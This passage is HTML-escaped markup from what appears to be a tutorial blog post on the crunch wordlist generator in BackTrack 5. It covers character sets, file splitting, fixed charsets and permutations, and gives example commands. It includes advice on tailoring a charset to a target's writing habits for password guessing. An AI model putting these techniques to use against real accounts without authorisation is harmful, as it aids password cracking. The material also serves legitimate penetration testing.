crunch&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;b&gt;&lt;u&gt;BASIC USAGE AND CHARACTER SETS&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;The default installation directory / path for crunch in backtrack 5 is&lt;br /&gt;&lt;div style="color: lime;"&gt;/pentest/passwords/crunch/&lt;/div&gt;&lt;br /&gt;All the below examples are based on being in the crunch directory &lt;span style="color: yellow;"&gt;/pentest/passwords/crunch/&lt;/span&gt;&lt;br /&gt;To run crunch from outside of crunch's own directory use ;&lt;br /&gt;/pentest/passwords/crunch/crunch [min length] [max length] [ character set] [options]&lt;br /&gt;&lt;i&gt;example from root directory;&lt;/i&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;/pentest/passwords/crunch/crunch 8 8 abc + + \!\@\# -t&amp;nbsp; TEST^%,@ -o test.txt&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_ntowndir-1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_ntowndir-1.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Basic usage is as follows to print to screen&lt;br /&gt;&lt;div style="color: yellow;"&gt;./crunch [min length] [max length] [character set] [options]&lt;/div&gt;&lt;br /&gt;To write to file use the -o switch ;&lt;br /&gt;&lt;div style="color: yellow;"&gt;./crunch [min length] [max length] [character set] [options] -o filename.txt&lt;/div&gt;&lt;br /&gt;If no character set is defined, then crunch will default to using the lower case alpha character set;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 4 4&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_4-4.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_4-4.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Also any desired character set can be enterered manually in the command line ;&lt;br /&gt;&lt;span style="color: lime;"&gt;./crunch 6 6 0123456789ABCDEF&lt;/span&gt; &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_6-6HEXU.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_6-6HEXU.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Certain characters will need escaping with a backslash &lt;b&gt;&lt;span style="color: red;"&gt;\&lt;/span&gt;&lt;/b&gt;&amp;nbsp; ; &lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 6 6 ABC\!\@\#\$&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_6-6SPEC.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_6-6SPEC.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;u&gt;&lt;b&gt;CREATING WORDLISTS IN BLOCKS OF A CERTAIN SIZE&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;&lt;br /&gt;Using the &lt;b style="color: red;"&gt;-b&lt;/b&gt; switch, we can tell crunch to create a wordlist which is split into multiple files&lt;br /&gt;of user-specified sizes.&lt;br /&gt;This must be done in conjunction with -o START.&lt;br /&gt;&lt;br /&gt;The size definition can be;&amp;nbsp; kb, mb, gb&amp;nbsp; or&amp;nbsp; kib, mib, gib&lt;br /&gt;kb, mb, and gb are based on the power of 10 (i.e. 1KB = 1000 bytes)&lt;br /&gt;kib, mib, and gib are based on the power of 2 (i.e. 1KB = 1024 bytes).&lt;br /&gt;&lt;br /&gt;The output files will be named after the first and last entry in the wordlists.&lt;br /&gt;&lt;br /&gt;To create a wordlist split into files of not more than 1mb;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 6 6 0123456789 -b 1mb -o START&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_b_1mb.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_b_1mb.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To create a wordlist split in files of no more than 100mb;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 8 8 abcDEF123 -b 100mb -o START&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_b_100mb.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_b_100mb.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To create a&amp;nbsp; wordlist split into files of no more that 10kb;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 4 4 0123456789 -b&amp;nbsp; 10kb -o START&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_b_10kb.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_b_10kb.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To create a wordlist split into files of no more than 2gb;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 8 8 0123456789ABCDEF -b 2gb -o START&lt;/div&gt;etc.&lt;br /&gt;etc.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;u&gt;&lt;b&gt;CREATING WORDLISTS IN BLOCKS OF A CERTAIN LINECOUNT&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;(ie. number of passphrases per file)&lt;br /&gt;&lt;br /&gt;Using the &lt;b style="color: red;"&gt;-c&lt;/b&gt; switch you can have crunch create wordlists which do not contain more than the&lt;br /&gt;specified number of lines.&lt;br /&gt;This must be used in conjunction with -o START.&lt;br /&gt;&lt;br /&gt;To create files containing no more than 200000 (200 thousand) lines (passphrases);&lt;br /&gt;&lt;span style="color: lime;"&gt;./crunch 6 6 0123456789 -c 200000 -o START&lt;/span&gt; &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_c_200k.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_c_200k.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To create files containing no more that 150000 (150 thousand) lines (passphrases);&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 6 6 abcDEF123 -c 150000 -o START&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_c_150k.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_c_150k.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The output files will be named after the first and last entry in the wordlists.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="color: yellow;"&gt;&lt;u&gt;STOPPING CRUNCH WORDLIST GENERATION AT A PRE-DETERMINED TIME&lt;/u&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Crunch v3.1 is now also released (20-07-2011) and with it comes the new &lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;-e&lt;/span&gt;&lt;/b&gt; switch.&lt;br /&gt;&lt;br /&gt;This option allows you to specify when you want the wordlist generation to stop.&lt;br /&gt;&lt;br /&gt;So the below example will start creating the 6 character numeric wordlist, but will stop at 333333 ;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;./crunch 6 6 -t %%%%%% -e 333333&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;u&gt;&lt;b&gt;USING FIXED CHARACTER SETS&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;&lt;br /&gt;Crunch also comes with fixed character sets in &lt;i&gt;&lt;b&gt;charset.lst&lt;/b&gt;&lt;/i&gt; which is included in the installation.&lt;br /&gt;(also found in directory /pentest/passwords/crunch/ )&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/charset-1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="499" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/charset-1.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This saves on the typing (and typoes) when dealing with standard character sets.&lt;br /&gt;&lt;br /&gt;To use the fixed characters sets, instead of typing in character sets manually in the command line,&lt;br /&gt;you can use the &lt;b style="color: red;"&gt;-f&lt;/b&gt; switch to specify which character set we want to use ;&lt;br /&gt;&lt;br /&gt;To use only upper case alpha characters; &lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 6 6 -f charset.lst ualpha&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_f_UP.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_f_UP.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To use only numeric characters ; &lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 6 6 -f charset.lst numeric&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_f_num.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="357" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_f_num.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To use hexidecimal characters (with uppercase alpha values) ;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 8 8 -f charset.lst hex-upper&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_f_HU.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_f_HU.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To use lower case, uppercase, numeric &amp;amp; special characters (beware of the size ! Don't try to save..lol..) ;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 8 8 -f charset.lst mixalpha-numeric-all-space&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_f_all.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_f_all.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;etc.&lt;br /&gt;etc.&lt;br /&gt;&lt;br /&gt;Since v2.7 additional Swedish character support has also been added for our Swedish brethren, nicely contributed by Niclas Kroon.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/charset_swedish.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="512" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/charset_swedish.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;It should be noted that you can easily create your own custom charset by simply including a line in the same format.&lt;br /&gt;If you for instance know that your target has a certain medical condition known as 133tsp34k, and you have an idea of which letters/numbers are usually used (forum posts etc. etc.) , you could simply include an extra line such as ;&lt;br /&gt;&lt;span style="color: lime;"&gt;&lt;span style="color: yellow;"&gt;1337 = [4bcd3f9hijk1mn0pqr$7uvwxyz]&lt;/span&gt; &lt;/span&gt;&lt;br /&gt;&lt;i&gt;Doubt the above is authentic enough, but I'm sure you get the idea. &lt;/i&gt;&lt;br /&gt;Then just run in crunch as you would any other charset;&lt;br /&gt;&lt;span style="color: lime;"&gt;./crunch 4 4 -f charset.lst 1337&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_f_1337.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_f_1337.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;See &lt;span style="color: lime;"&gt;/pentest/passwords/crunch/charset.lst&lt;/span&gt; for all possibilities&amp;nbsp; / charsets currently included.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;u&gt;&lt;b&gt;INVERTING THE OUTPUT DIRECTION&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;Using the &lt;b style="color: red;"&gt;-i&lt;/b&gt; option will invert the direction in which the wordlist is created, from &lt;i&gt;&lt;b&gt;left-to-right&lt;/b&gt;&lt;/i&gt;&amp;nbsp; to&amp;nbsp; &lt;i&gt;&lt;b&gt;right-to-left&lt;/b&gt;&lt;/i&gt;.&lt;br /&gt;Note that this does not change the content of the created wordlist, it only changes the intial direction in which it is created.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 4 4 -i&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_i_l.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_i_l.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The -i option can also be used when character sets have been specified, either manually or using the pre-defined charsets.&lt;br /&gt;&lt;div style="color: lime;"&gt;&lt;/div&gt;&lt;span style="color: lime;"&gt;./crunch 4 4 -f charset.lst ualpha -i&lt;/span&gt; &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_i_up.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_i_up.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;or for instance for creating numeric wordlists in an alternative direction ;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 8 8 0123456789 -i&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_i_num.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_i_num.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you actually want the wordlist creation to start from the last letter in the alphabet and work backwards, or&lt;br /&gt;work backwards from the last digit in a 10 digit numeric sequence, then you would have to enter the charset manually ; &lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 4 4 zyxwvutsrqponmlkjihgfedcba&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_rev_alpha.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_rev_alpha.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;&amp;nbsp;./crunch 4 4 ZYXWVUTSRQPONMLKJIHGFEDCBA&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_rev_alpha_Up.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_rev_alpha_Up.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 8 8 9876543210&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_rev_num.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_rev_num.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;u&gt;&lt;b&gt;CREATING PERMUTATIONS&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;&amp;nbsp;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;br /&gt;Crunch can also&amp;nbsp; be used to create permutations for either ; &lt;br /&gt;&amp;gt; characters / words entered in the command line with the &lt;b style="color: red;"&gt;-p&lt;/b&gt; switch.&lt;br /&gt;&amp;gt; lines in a wordlist with the &lt;b style="color: red;"&gt;-q&lt;/b&gt; switch&lt;br /&gt;&lt;br /&gt;Although there is no min/max character setting, this still needs to be entered for both&lt;br /&gt;the -p and -q switch.&lt;br /&gt;&lt;br /&gt;Using the &lt;b&gt;&lt;span style="color: red;"&gt;-p&lt;/span&gt;&lt;/b&gt; switch you can create permutations of characters or of all words entered in the command line.&lt;br /&gt;Creating permutations of letters (fun for anograms) ;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 1 1 -p abcd&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_p_abcd.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_p_abcd.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Creating permutations of lists of words;&lt;br /&gt;&lt;span style="color: lime;"&gt;./crunch 1 1 -p bird cat dog&lt;/span&gt; &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_p_wrd.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="356" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/crunch_p_wrd.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As the -p switch can read the input on command line as being letters or words, it MUST be the last option used;&lt;br /&gt;If for instance trying to suppress the size output message using the -u switch and placing the -u switch last, &lt;br /&gt;crunch  will see 2 words (&lt;b&gt;&lt;i style="color: yellow;"&gt;abcd&lt;/i&gt; &lt;/b&gt;+ &lt;i style="color: yellow;"&gt;&lt;b&gt;-u&lt;/b&gt;&lt;/i&gt;) and so will only print out the 2  permutation possibilities as well as actually recognizing the -u  switch ; &lt;br /&gt;&lt;span style="color: lime;"&gt;./crunch 1 1 -p abcd -u&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a 